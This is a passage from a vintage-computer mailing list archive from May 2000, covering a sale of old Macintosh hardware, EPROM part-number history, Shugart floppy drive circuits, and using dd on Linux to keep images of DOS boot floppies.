VT420 terminals, maybe other types of DEC terminal too? I may be able to acquire a quantity of these very cheaply. I'm no DEC expert; does a complete terminal consist only of the monitor and keyboard? Mac base units -------------- None of these have hard disks. Would be good for upgrading an existing Mac setup. Mac II. Has 800K floppy drive, 20MB RAM (four 1MB and four 4MB 30-pin SIMMs). 68851 MMU chip fitted. Has NuBus video card made by Apple (FCC ID of video card is BCG9GRM0201). 20 pounds Mac II. Two floppy drives, one 800K other 1.44MB. No RAM or video card. 10 pounds Mac II. 8MB RAM. two floppy drives, one 800K other 1.44MB. Has Megascreen 2001 NuBus video card by Megagraphics (may be able to output NTSC/PAL video according to text on PCB). The 800K floppy drive may need cleaning. 15 pounds Mac II. High density floppy drive. No RAM or video card. Probable PSU or main board fault; unit shuts down when a floppy disk is inserted. Floppy drive is good. 4 pounds Mac IIx. Two 1.44MB floppy drives. Has 16Mhz 68030, 68882. 8MB RAM, NuBus video card. Second floppy drive may be unreliable. 20 pounds Mac IIci. High density floppy drive, no RAM. Has 25MHz 68030, 68882. 15 pounds Mac IIvi. Has 16MHz 68030, unsure of amount of RAM on board. High density floppy drive. 15 pounds Mac IIvx. Has 33MHz 68030, unsure of amount of RAM on board. Contains Apple NuBus video card with 1MB RAM (FCC ID of this card is BCGM0121) 20 pounds Mac Centris 650 w/ 44MB SyQuest drive. Has 68040 CPU, unsure of amount of RAM on board. High density floppy drive. 30 pounds Power Mac 6100/60. 16MB RAM (I think). Has Apple PC emulator card with 486DX266 CPU and additional 8MB RAM (FCC ID of this is BCGM3581). High density floppy drive. Unable to fully test due to not having correct monitor cable, but unit makes normal "bong" sound when powered up. 35 pounds 12" Trinitron monitors ---------------------- Macintosh Color Display (M1212) 20 pounds Macintosh Color Display (M1212) 20 pounds AppleColor High_resolution RGB Monitor (M0401Z) 20 pounds External SCSI SyQuest drives ---------------------------- I have tested all these to the extent of powering up, drives are visible on SCSI bus. However I do not have any SyQuest media to fully test. Will offer DOA warranty. These are probably worth it for the cases alone. Mass Microsystems DataPak 44MB drive 10 pounds Mass Microsystems DataPak 88MB drive 15 pounds Computex 44MB drive 10 pounds d2 88MB drive 15 pounds Micronet 44MB drive. Case damaged, drive probably okay 4 pounds External SCSI cases ------------------- Case from Apple Hard Disk 40SC, no drive FREE with other purchase Case from Apple Hard Disk 20SC, no drive FREE with other purchase -- Mark From rigdonj at intellistar.net Wed May 24 16:09:24 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:53 2005 Subject: Strange box Message-ID: <3.0.1.16.20000524160924.2657c59c@mailhost.intellistar.net> Hi, I found this in a pile of surplus computers yesterday. Can anyone tell me what it is? It looks like an ordinary external 5 1/4" drive box but on the back of the box it has a DB-25M connector marked "MODEM/CPU" and a DB-25F connector marked "TERMINAL". There's also a rotary switch labeled "RATE" with positions marked "10", "30", "120", "240", "480", 960" and "EXT". Then there's a toggle switch with positions marked "BIN CTRL ON" "ODD" and "EVEN". And another toggle switch with positons marked "FULL" and "HALF". It has a socket for a standard AC line cord. It's made by Techtran Industries of Rochester, N.Y. and it's a model 950A. My guess is that it's a disk drive that's made to go between a terminal and it's MODEM or computer but I've never heard of one before. If that's what it is, then how do you give it coomands? Joe From mmcfadden at cmh.edu Wed May 24 15:43:04 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:51:53 2005 Subject: ASCII art and plotting Message-ID: <9C7BDA783D31D411B1E5009027FC28493C9994@EXCHANGE2> Using ASCII line art and a printer for plotting allows the human brain to see patterns in large amounts of data. If I plot 3,000 points using a pen plotter with 6 points to the inch I would end up with 40 feet of plot paper with a fine wiggle line on it. If I used a printer, the paper was cheaper, the plot was cruder, but your brain doesn't get lost in the fine detail but sees an overall pattern. If you look at 100's of plots, the overall pattern will become clear. This may be analogous to looking at a highway versus a string to see the trend in points of data. All of a sudden I just realize that if you looked at enough data maybe your brain spontaneously creates patterns. Occasionally I looked at data after consuming a "few" beers, there was lots of patterns then. OT: OT: Have you ever punched cards after a few beers? I seem to remember finding occasional duplicate lines of code or code of the form: 100 IF(I) 100,100,100 you may recognize FORTRAN II. Mike "more patterns than brains" From ard at p850ug1.demon.co.uk Wed May 24 15:17:52 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:53 2005 Subject: When new advertising meets old computers In-Reply-To: <003801bfc5b5$d6ec5c30$3c37d986@fauradon.beckman.com> from "FBA" at May 24, 0 02:25:25 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 313 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/8b0c5414/attachment.ksh From ard at p850ug1.demon.co.uk Wed May 24 15:16:43 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:53 2005 Subject: Looking for motherboard and wiring info for Lisa 1 In-Reply-To: <000101bfc5b3$737a3570$013da8c0@Corellian> from "John Lewczyk" at May 24, 0 03:08:31 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1318 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/c12ec73a/attachment.ksh From ard at p850ug1.demon.co.uk Wed May 24 15:18:49 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions In-Reply-To: <20000524193557.30664.qmail@brouhaha.com> from "Eric Smith" at May 24, 0 07:35:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 199 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/1bda4ad9/attachment.ksh From ard at p850ug1.demon.co.uk Wed May 24 16:22:01 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:53 2005 Subject: Strange box In-Reply-To: <3.0.1.16.20000524160924.2657c59c@mailhost.intellistar.net> from "Joe" at May 24, 0 04:09:24 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2312 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/d857d75b/attachment.ksh From dann at greycat.com Wed May 24 16:31:18 2000 From: dann at greycat.com (Dann Lunsford) Date: Sun Feb 27 18:51:53 2005 Subject: Strange box In-Reply-To: <3.0.1.16.20000524160924.2657c59c@mailhost.intellistar.net>; from rigdonj@intellistar.net on Wed, May 24, 2000 at 04:09:24PM -0500 References: <3.0.1.16.20000524160924.2657c59c@mailhost.intellistar.net> Message-ID: <20000524143117.A10146@greycat.com> On Wed, May 24, 2000 at 04:09:24PM -0500, Joe wrote: > Hi, > > I found this in a pile of surplus computers yesterday. Can anyone tell > me what it is? It looks like an ordinary external 5 1/4" drive box but on > the back of the box it has a DB-25M connector marked "MODEM/CPU" and a > DB-25F connector marked "TERMINAL". There's also a rotary switch labeled > "RATE" with positions marked "10", "30", "120", "240", "480", 960" and > "EXT". Then there's a toggle switch with positions marked "BIN CTRL ON" > "ODD" and "EVEN". And another toggle switch with positons marked "FULL" and > "HALF". It has a socket for a standard AC line cord. It's made by Techtran > Industries of Rochester, N.Y. and it's a model 950A. My guess is that it's > a disk drive that's made to go between a terminal and it's MODEM or > computer but I've never heard of one before. If that's what it is, then > how do you give it coomands? If it's what I think it is, I've got one in my garage, with manual. Your basic guess is right: It fits between a terminal and modem. It has some *very* primitive line-editing capability, basically you entered numbered lines of data while offline and then you could upload to your timeshare account later. This was when connections were 300 baud and remote access was *expensive*. I'll look for the manual when I get home. I'm pretty sure it's the same model # as yours. The commands should be similar, anyway. -- Dann Lunsford The only thing necessary for the triumph of evil dann@greycat.com is that men of good will do nothing. -- Cicero From elvey at hal.com Wed May 24 16:49:10 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions In-Reply-To: Message-ID: <200005242149.OAA16134@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > The 8205 and 3205 are exactly the same part. > > > > > In which case I think it predates the 8085, since it was used on the > 1702-based PROM card in the MCS8i. Surely that was before the 8085? > > -tony Hi 3205's were part of the 3000 series bit slice family. I don't know when they started these but I think it was before MDS800's because they used 3001/3002's in the floppy disk controller for these. This puts them in at least the 8080 or 8008 time frame someplace. Maybe even earlier. Dwight From allisonp at world.std.com Wed May 24 16:49:54 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions Message-ID: <004801bfc5ca$33120d70$7864c0d0@ajp166> >> Yes, but ... the 5-volt parts were costing on the order of $100 per piece. >> I bought a bunch for a project and still remember the "sticker-shock," >> though it wasn't any better a year later when I had to buy 2732's. In the >> latter case, I sold them for $25 each to a west-coast surplus vendor who >> turned around and sold them for $80 each. I paid $11 each for a handful of 2508s in late 1976. A year later 2716s were 12$. 2732s were much later and more costly, in 1979(late) I paid a whopping 15$ each. > I find it interesting that after the 2716's were out for a while, >and the price had dropped to someplace in the $5-$10 range someplace, The halfgood part 2758 was used on the IMSAI IMP-48 in 1977! >the intel 2508's were still in the high $30's. This always >amused me because there was no difference at all between the >Intel 2716 and the 2508 other than the 2508 was a half bad >2716. I call that real good sales to take bad parts and get BZZT! 2708 was three voltage and the 2716 was 5V huge difference in pin out too. The problem was many vendors were gouging for them and STILL! Allison From allisonp at world.std.com Wed May 24 16:44:22 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions Message-ID: <004701bfc5ca$32591db0$7864c0d0@ajp166> > 3205's were part of the 3000 series bit slice family. >I don't know when they started these but I think it >was before MDS800's because they used 3001/3002's in >the floppy disk controller for these. This puts them in >at least the 8080 or 8008 time frame someplace. Maybe >even earlier. Yep. Also the 300x was used to proto the 8080, or so the story goes. I'd seen a 300x based 8080 (ran at 4mhz then) once. Allison From allisonp at world.std.com Wed May 24 16:42:40 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions Message-ID: <004601bfc5ca$31a33b30$7864c0d0@ajp166> >> I've just checked the schematics, and the chip I replaced (on the PROM >> memory board (which uses 1702s, of course)) was a 3205. Same pinout as >> the '138, etc. >> Any idea if that's a renumbered TI part? > >The 8205 and 3205 are exactly the same part. Not according to my intel books, similar but it's like saying a 74ls138 is the same as 74hct138... very close. Apparently there was a process difference. Though intel did at times morph one part/process into another. Allison From elvey at hal.com Wed May 24 18:14:27 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions In-Reply-To: <004801bfc5ca$33120d70$7864c0d0@ajp166> Message-ID: <200005242314.QAA17212@civic.hal.com> "allisonp" wrote: > > >the intel 2508's were still in the high $30's. This always > >amused me because there was no difference at all between the > >Intel 2716 and the 2508 other than the 2508 was a half bad > >2716. I call that real good sales to take bad parts and get > > > BZZT! 2708 was three voltage and the 2716 was 5V huge > difference in pin out too. Hi I was talking about Intel's 5 volt '08. They may have been called 2758 or 2508, I don't recall. As far as I know, Intel never specifically made a 5 volt 1Kx8 EPROM die, only the 2Kx8. TI was first out with a single rail '08 and was doing in the 2708 sales from Intel. That is when Intel started relabling the half bad 2716's( Yes, I know that the pinout are not compatable between the 2716 and 2708, what does that have to do with what we were talking about? ). Early on these half bad parts were cheaper than 2716's but later in their life, they were list as being more expensive. Dwight From jrkeys at concentric.net Wed May 24 18:25:55 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:51:53 2005 Subject: New Finds Today - Specifically the TK25 References: <022201bfc521$9b444b00$7d731fd1@default> <392BCF04.28F1A20C@idirect.com> Message-ID: <006501bfc5d7$69c7b740$1f701fd1@default> Thanks for the tips and information. John John Keys ----- Original Message ----- From: Jerome Fine To: Sent: Wednesday, May 24, 2000 7:45 AM Subject: Re: New Finds Today - Specifically the TK25 > >John R. Keys Jr. wrote: > > > Had a good day today as I got a digital TK25 with cable > > Jerome Fine replies: > > >From personal experience, a TK25 is about 25% faster than a TK50 (AFTER > the tape has been tensioned the first time it is inserted - which may take as long > as a few minutes - but can often be done while other things are happening - like > booting the OS). In RT-11, I also use VBGEXE to increase the size of the > buffers when I do a "/VERIFY:ONLY" command (yes I know - that notation > can't be used with VBGEXE which requires CSI switches). I may have a spare > controller. Do you have anything to swap? I may also have a few spare cartridges. > > The drive uses standard DC600A tapes (1/4" QIC cartridges). The only drawback > compared to a TK50 is that the capacity is less than 2 RT-11 partitions, but when > it comes to doing a "/VERIFY:ONLY" on a TK50, it takes so long that I never > used the TK50 for regular backup, only as an off-site exchange media. And then, > a VERIFY operation consisted of doing a RESTORE to a scratch partition followed > by a BINCOM with the original file or partition. > > Sincerely yours, > > Jerome Fine > > From jd at hq.sjaa.com.au Wed May 24 18:20:43 2000 From: jd at hq.sjaa.com.au (Justin M Dunlop) Date: Sun Feb 27 18:51:53 2005 Subject: Lisa 1 OS Message-ID: Greetings all, I have managed to restore a Lisa 1 from an upgraded Lisa 2. Found some twiggy drives, front panel and the correct ROM to drive it all. I have even found a complete set of Lisa Office disks on twiggy diskettes. Thanks to all who helped in this venture (I know some follow this list). However, to date I'm having alot of trouble getting the Lisa 1 OS itself. If anyone has a set/copy I would be interested in hearing from you about purchase, copying or installing onto ProFile. Kind regards, Justin ___________________________________________________________________________ Justin M. Dunlop email: jd@hq.sjaa.com.au ____________________________________________________________________________ From richard at idcomm.com Wed May 24 19:22:22 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:53 2005 Subject: Shurgart drive question References: <200005241819.LAA13549@civic.hal.com> Message-ID: <000801bfc5df$4c323180$0400c0a8@winbook> Are you using a controller that requires the external "data separator" on the drive? If you use it with a controller that expects the raw data you'll get something that works part of the time. One might interpret that as being pattern-sensitive, since it is. I'm not sure you need to fiddle with this data separator much, but if you take into consideration that what most folks call a "data separator" is really a clock extractor, which is little else than a missing clock detector and fills in the missing clocks for the benefit of the data extraction logic in the controller. Why not contact me off-list and I'll look up what I can from the drive documents. What troubles me is that I don't know what kind of controller you're using, hence I dont know that this mechanism on the drive is even required for it. Are you sure you need this crude bit of circuitry? Dick ----- Original Message ----- From: Dwight Elvey To: Sent: Wednesday, May 24, 2000 12:19 PM Subject: Shugart drive question > Hi > I'm still working on my NIC-80. I'm having a data pattern > sensitive problem. I'm not yet sure if it is in the SA900 > drive or in the controller. When looking at the drive, > there is a clock/data separator circuit. It uses two one shots. > One is for the next clock cycle after a one was read and > one is for the next clock cycle if there was no one read. > I understand the issues of this shifting of the read > data but I don't know how much these two one shots need > to be adjusted. The SA800 TTL board also has the same circuit. > I was hoping that someone with an old drive could put > a 'scope on these two one shots and determine the nominal > pulse widths they see? The test points are labled the same > on both the SA900 and SA800 series drives as TP21 and TP24. > They are negative going pulses. > Dwight > From fauradon at mn.mediaone.net Wed May 24 19:35:31 2000 From: fauradon at mn.mediaone.net (Sue and Francois) Date: Sun Feb 27 18:51:53 2005 Subject: New Finds Today References: <022201bfc521$9b444b00$7d731fd1@default> Message-ID: <002901bfc5e1$23173460$75741918@fauradon> > battery seems to be dead. Anyone know anything about it. Also picked > up a neat 3 foot robot for $1 here at a thrift store. No remote was with Off course now you realize that you can't hate me anymore, so whatdayasay we do the diner thing? > it a and one cover plate is missing, have not tried to power it up yet. > Keep computing > John Keys > Francois From richard at idcomm.com Wed May 24 19:31:08 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions References: <004601bfc5ca$31a33b30$7864c0d0@ajp166> Message-ID: <002e01bfc5e0$8598e800$0400c0a8@winbook> The sheets I have on the 3205 and 8205 all agree it's a bipolar device. With the 3205 I'd certainly belive it was intended to go with the rest of that bipolar family, so it's probably schottky bipolar. I haven't been downstairs in a couple of days, but I do have more specific data on the part downstairs. I think it's quite safe to use an F138 or an ACT138 in its place anywhere. It may change the races somewhat, but shouldn't hurt any reasonably designed circuit. All bets are off with Altair logic designs, though, since they often relied very much on having a capacitor soldered to the back of the board for a delay element. Dick ----- Original Message ----- From: allisonp To: Sent: Wednesday, May 24, 2000 3:42 PM Subject: Re: Altair parts substitutions > >> I've just checked the schematics, and the chip I replaced (on the PROM > >> memory board (which uses 1702s, of course)) was a 3205. Same pinout as > >> the '138, etc. > >> Any idea if that's a renumbered TI part? > > > >The 8205 and 3205 are exactly the same part. > > > Not according to my intel books, similar but it's like saying a 74ls138 is > the > same as 74hct138... very close. Apparently there was a process difference. > Though intel did at times morph one part/process into another. > > Allison > > From cmcmanis at mcmanis.com Wed May 24 19:45:14 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:53 2005 Subject: Bootable Floppy from CD? Message-ID: <392C779A.7663DB0C@mcmanis.com> In an effort to preserve all my miscellaneous driver floppies I've been copying them to CD-rom. I figured I should also do this for my DOS 6.3 disks but realized that I don't know how to create a bootable DOS 6.3 system disk from the disk itself. I've considered using dd(1) on unix to create just the disk image that I can later use dd to copy back out but was wondering if perhaps there was a better way. --Chuck From richard at idcomm.com Wed May 24 19:39:33 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions References: <004801bfc5ca$33120d70$7864c0d0@ajp166> Message-ID: <003401bfc5e1$b2b84f00$0400c0a8@winbook> I didn't realize that Intel made any 2508's. My sense is that they called their 5-volt parts 8708's. They're the parts that were commonly shipped on their iSBC-8024's if you ordered a monitor PROM with them. TI was the one famous for the numbering screwup made by assigning an industry-standard number to parts that didn't meed the industry standard. They seem to have reversed output enable and chip select on their parts, not to mention that their 2716's were multi-voltage parts. Their 2516's were comparable with the Intel 2716's, however, and MOT made them as well as the 2508's, which I think were half-good 2716's. Since MOT didn't develop either part, I don't know just offhand which one they pursued. It didn't matter much, since only the really large ROM arrays used the different select/enable timings to advantage. I've enbedded a comment or two below. Dick ----- Original Message ----- From: allisonp To: Sent: Wednesday, May 24, 2000 3:49 PM Subject: Re: Altair parts substitutions > >> Yes, but ... the 5-volt parts were costing on the order of $100 per > piece. > >> I bought a bunch for a project and still remember the "sticker-shock," > >> though it wasn't any better a year later when I had to buy 2732's. In > the > >> latter case, I sold them for $25 each to a west-coast surplus vendor who > >> turned around and sold them for $80 each. > > > I paid $11 each for a handful of 2508s in late 1976. A year later 2716s > were 12$. 2732s were much later and more costly, in 1979(late) I paid > a whopping 15$ each. > > > I find it interesting that after the 2716's were out for a while, > >and the price had dropped to someplace in the $5-$10 range someplace, > > > The halfgood part 2758 was used on the IMSAI IMP-48 in 1977! > > >the intel 2508's were still in the high $30's. This always > >amused me because there was no difference at all between the > >Intel 2716 and the 2508 other than the 2508 was a half bad > >2716. I call that real good sales to take bad parts and get > > > BZZT! 2708 was three voltage and the 2716 was 5V huge > difference in pin out too. > TI's 2716 was a 3 voltage part, too, IIRC. They had a 5Volt-only 2516, though. > > The problem was many vendors were gouging for them and STILL! > > Allison > > From richard at idcomm.com Wed May 24 19:42:21 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions References: <200005242314.QAA17212@civic.hal.com> Message-ID: <003c01bfc5e2$169afcc0$0400c0a8@winbook> Yeah . . . I remember those, too. Intel made essentially the same parts with different numbers, apparently for marketing purposes. They had the 8708 and the 2758, both of which were 24-pin 8 k-bit EPROMs, similar pinout, etc. Several vendors were competing to see who could foul up the numbering scheme the worst. I don't know who won. Dick ----- Original Message ----- From: Dwight Elvey To: Sent: Wednesday, May 24, 2000 5:14 PM Subject: Re: Altair parts substitutions > "allisonp" wrote: > > > > >the intel 2508's were still in the high $30's. This always > > >amused me because there was no difference at all between the > > >Intel 2716 and the 2508 other than the 2508 was a half bad > > >2716. I call that real good sales to take bad parts and get > > > > > > BZZT! 2708 was three voltage and the 2716 was 5V huge > > difference in pin out too. > > Hi > I was talking about Intel's 5 volt '08. They may have been > called 2758 or 2508, I don't recall. As far as I know, > Intel never specifically made a 5 volt 1Kx8 EPROM die, only > the 2Kx8. TI was first out with a single rail '08 and was > doing in the 2708 sales from Intel. That is when Intel started > relabling the half bad 2716's( Yes, I know that the pinout are > not compatable between the 2716 and 2708, what does that have > to do with what we were talking about? ). Early on these half > bad parts were cheaper than 2716's but later in their life, > they were list as being more expensive. > Dwight > From richard at idcomm.com Wed May 24 19:48:03 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:53 2005 Subject: Bootable Floppy from CD? References: <392C779A.7663DB0C@mcmanis.com> Message-ID: <005401bfc5e2$e298aac0$0400c0a8@winbook> I know what you mean. I've made the shift from DOS 6.20 to 6.22 a couple of itmes. What, by the way, is DOS 6.3? If your motherboad is modern enough, it should support bootable CD's, but I don't know what the appropriate spec for a bootable CD would be. I do recall that ISO9660 or whatever it was is NOT the right format. IIRC, it had a name that sounded like it belonged on the Taco Bell menu. I got out of the fray when I quit beta-testing Adaptec's software, which I did with the release of their first "easy-cd-creator" vesrion. This thin claimed to do things it didn't because it couldn't, but the managers said it would . . . . . . Dick ----- Original Message ----- From: Chuck McManis To: Sent: Wednesday, May 24, 2000 6:45 PM Subject: Bootable Floppy from CD? > In an effort to preserve all my miscellaneous driver floppies I've been > copying them to CD-rom. I figured I should also do this for my DOS 6.3 > disks but realized that I don't know how to create a bootable DOS 6.3 > system disk from the disk itself. I've considered using dd(1) on unix to > create just the disk image that I can later use dd to copy back out but > was wondering if perhaps there was a better way. > > --Chuck > From eric at brouhaha.com Wed May 24 19:56:21 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:53 2005 Subject: Bootable Floppy from CD? In-Reply-To: <392C779A.7663DB0C@mcmanis.com> (message from Chuck McManis on Wed, 24 May 2000 17:45:14 -0700) References: <392C779A.7663DB0C@mcmanis.com> Message-ID: <20000525005621.32493.qmail@brouhaha.com> Chuck McManis wrote: > In an effort to preserve all my miscellaneous driver floppies I've been > copying them to CD-rom. I figured I should also do this for my DOS 6.3 > disks but realized that I don't know how to create a bootable DOS 6.3 > system disk from the disk itself. I've considered using dd(1) on unix to > create just the disk image that I can later use dd to copy back out but > was wondering if perhaps there was a better way. What I use on Linux to back up images of 1440K floppies is: dd if=/dev/fd0 of=floppy.img bs=18k And to recreate them from an image: dd if=floppy.img of=/dev/fd0 bs=18k (The 18k isn't strictly necessary, but for efficiency I like to use a reasonably large block size that happens to evenly divide into the size of the disk.) If the format is something other than 1440K, more specific floppy device names are sometimes required. With suitable arguments, I've successfully done this with 160K, 180K, and 360K 5.25 inch diskettes and 720K 3.5 inch as well. I keep disk images of DOS and various useful utility programs in a super-secret hidden directory on my web server, so that I can get them if I need them when I'm not at home. There's a DOS program called "rawrite" that can recreate floppies from images, if you need to do it when you don't have Linux or xBSD handy. From eric at brouhaha.com Wed May 24 20:01:25 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions In-Reply-To: <003401bfc5e1$b2b84f00$0400c0a8@winbook> (richard@idcomm.com) References: <004801bfc5ca$33120d70$7864c0d0@ajp166> <003401bfc5e1$b2b84f00$0400c0a8@winbook> Message-ID: <20000525010125.32524.qmail@brouhaha.com> "Richard Erlacher" wrote: > I didn't realize that Intel made any 2508's. I don't think they did. That was TI's part number for the 5V 1K*8 EPROM. Intel's 5V 1K*8 part was the 2758. Other posts have claimed that an Intel 2758 is a half-bad 2716, but my fuzzy recollection from that era was that the ones I looked at had substantially different die sizes. For half-bad parts Intel usually added a suffix to the part number to denote which half was bad, and I didn't see such a designation on any of the 2758s I used. > My sense is that they called their 5-volt parts 8708's. Nope, that required the same supplies as the 2708, since it was really the same part. > TI was the one famous for the numbering screwup made by assigning an > industry-standard number to parts that didn't meed the industry standard. Because there *wasn't* an industry standard on the 2K*8 EPROM at the time when TI and Intel both announced their parts. I think Intel's move to the single 5V supply caught TI completely by surprise. From zmerch at 30below.com Wed May 24 20:21:03 2000 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:51:53 2005 Subject: Bootable Floppy from CD? In-Reply-To: <005401bfc5e2$e298aac0$0400c0a8@winbook> References: <392C779A.7663DB0C@mcmanis.com> Message-ID: <3.0.1.32.20000524212103.01314740@mail.30below.com> Rumor has it that Richard Erlacher may have mentioned these words: >I know what you mean. I've made the shift from DOS 6.20 to 6.22 a couple of >itmes. What, by the way, is DOS 6.3? IBM marketed a PC-DOS 6.3 with Stacker and some other stuff, IIRC. Personally, for the boot stuff, I'd just stick to a boot floppy... boot the computer from your PC-DOS disk 1, and if it goes into a setup routine, hit (well, for MS-DOS... not sure if it's different with IBM's stuff) and when you get to the dos prompt, if you have two floppies, put a floppy in your B: and do a: format b: /s (to put the system on.) If you don't have 2 floppies, issue that command anyway. With a 1 floppy system, you have a *virtual* B: and the system will automatically ask you for source and destination disks when it wants you to swap them. HTH, Roger "Merch" Merchberger -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From transit at lerctr.org Wed May 24 20:47:28 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:51:53 2005 Subject: Bootable Floppy from CD? In-Reply-To: <005401bfc5e2$e298aac0$0400c0a8@winbook> Message-ID: On Wed, 24 May 2000, Richard Erlacher wrote: > > If your motherboad is modern enough, it should support bootable CD's, but I > don't know what the appropriate spec for a bootable CD would be. I do > recall that ISO9660 or whatever it was is NOT the right format. IIRC, it > had a name that sounded like it belonged on the Taco Bell menu. I got out "High Sierra"??? From richard at idcomm.com Wed May 24 20:47:58 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:53 2005 Subject: Altair parts substitutions References: <004801bfc5ca$33120d70$7864c0d0@ajp166> <003401bfc5e1$b2b84f00$0400c0a8@winbook> <20000525010125.32524.qmail@brouhaha.com> Message-ID: <006d01bfc5eb$41ee83c0$0400c0a8@winbook> Eric, I hope I'm not crazy . . . My recollection of the Intel 8748 board, for which series I recall Intel cooked up the 87xx part numbers, had silkscreened on it "It's a 5-Volt world" though they didn't use 5-volt-to whatever they wanted to use for RS232 converters. The memories didn't see any power supply other than +5. I do believe you're right about the 2508's. Needless to say, all this stuff is really difficult to sort out 25 years hence, since it wasn't too clear what was the case even then. Dick ----- Original Message ----- From: Eric Smith To: Sent: Wednesday, May 24, 2000 7:01 PM Subject: Re: Altair parts substitutions > "Richard Erlacher" wrote: > > I didn't realize that Intel made any 2508's. > > I don't think they did. That was TI's part number for the 5V 1K*8 EPROM. > > Intel's 5V 1K*8 part was the 2758. Other posts have claimed that an Intel > 2758 is a half-bad 2716, but my fuzzy recollection from that era was that > the ones I looked at had substantially different die sizes. For half-bad > parts Intel usually added a suffix to the part number to denote which half > was bad, and I didn't see such a designation on any of the 2758s I used. > > > My sense is that they called their 5-volt parts 8708's. > > Nope, that required the same supplies as the 2708, since it was > really the same part. > > > TI was the one famous for the numbering screwup made by assigning an > > industry-standard number to parts that didn't meed the industry standard. > > Because there *wasn't* an industry standard on the 2K*8 EPROM at the time > when TI and Intel both announced their parts. I think Intel's move to > the single 5V supply caught TI completely by surprise. > From jrkeys at concentric.net Wed May 24 20:52:45 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:51:53 2005 Subject: New Finds Today References: <022201bfc521$9b444b00$7d731fd1@default> <002901bfc5e1$23173460$75741918@fauradon> Message-ID: <001001bfc5eb$ed34a520$88701fd1@default> That would be great and when I get back from Texas On June 10th I will contact you to set a date. I found out the robot sells for $199 and will not do anything without the remote. Still looking for the Hero's I or II. Have a fun holiday next week and see you in June. John Keys ----- Original Message ----- From: Sue and Francois To: Sent: Wednesday, May 24, 2000 7:35 PM Subject: Re: New Finds Today > > battery seems to be dead. Anyone know anything about it. Also picked > > up a neat 3 foot robot for $1 here at a thrift store. No remote was with > > Off course now you realize that you can't hate me anymore, so whatdayasay we > do the diner thing? > > > it a and one cover plate is missing, have not tried to power it up yet. > > Keep computing > > John Keys > > > > Francois > > From richard at idcomm.com Wed May 24 20:56:51 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:53 2005 Subject: Bootable Floppy from CD? References: <392C779A.7663DB0C@mcmanis.com> <3.0.1.32.20000524212103.01314740@mail.30below.com> Message-ID: <007b01bfc5ec$9122e480$0400c0a8@winbook> I've never encountered that version 6.3. I've got a few sets of install disketted for DOS 6.21, which was made up for DELL, specifically without the compression support in it or among its utilities. I, havning spent much time testing the more popular compression schemes, am an avid user of compression. I've found it to be no more problem-prone than plain-vanilla DOS, yet the maintenance tools (scandisk) seem to work better on compressed volumes than on uncompressed. Compression does seem to enhance disk subsystem preformance. If you have a solid backup regimen, you should never have to worry about data loss just because you use compression. I found that DRVSPACE yielded about a 15% performance increase and had no added risk of system failure. I also found that the risk of data loss was actually lower (based on my substantial but still relatively small data sample) than that with uncompressed data, probably due to the more effective error management tools. the long and short is that I like it, use it, and haven't yet come to cuss it. That's why I've not used the DOS 6.21. Dick ----- Original Message ----- From: Roger Merchberger To: Sent: Wednesday, May 24, 2000 7:21 PM Subject: Re: Bootable Floppy from CD? > Rumor has it that Richard Erlacher may have mentioned these words: > >I know what you mean. I've made the shift from DOS 6.20 to 6.22 a couple of > >itmes. What, by the way, is DOS 6.3? > > IBM marketed a PC-DOS 6.3 with Stacker and some other stuff, IIRC. > > Personally, for the boot stuff, I'd just stick to a boot floppy... boot the > computer from your PC-DOS disk 1, and if it goes into a setup routine, hit > (well, for MS-DOS... not sure if it's different with IBM's stuff) and > when you get to the dos prompt, if you have two floppies, put a floppy in > your B: and do a: > > format b: /s (to put the system on.) > > If you don't have 2 floppies, issue that 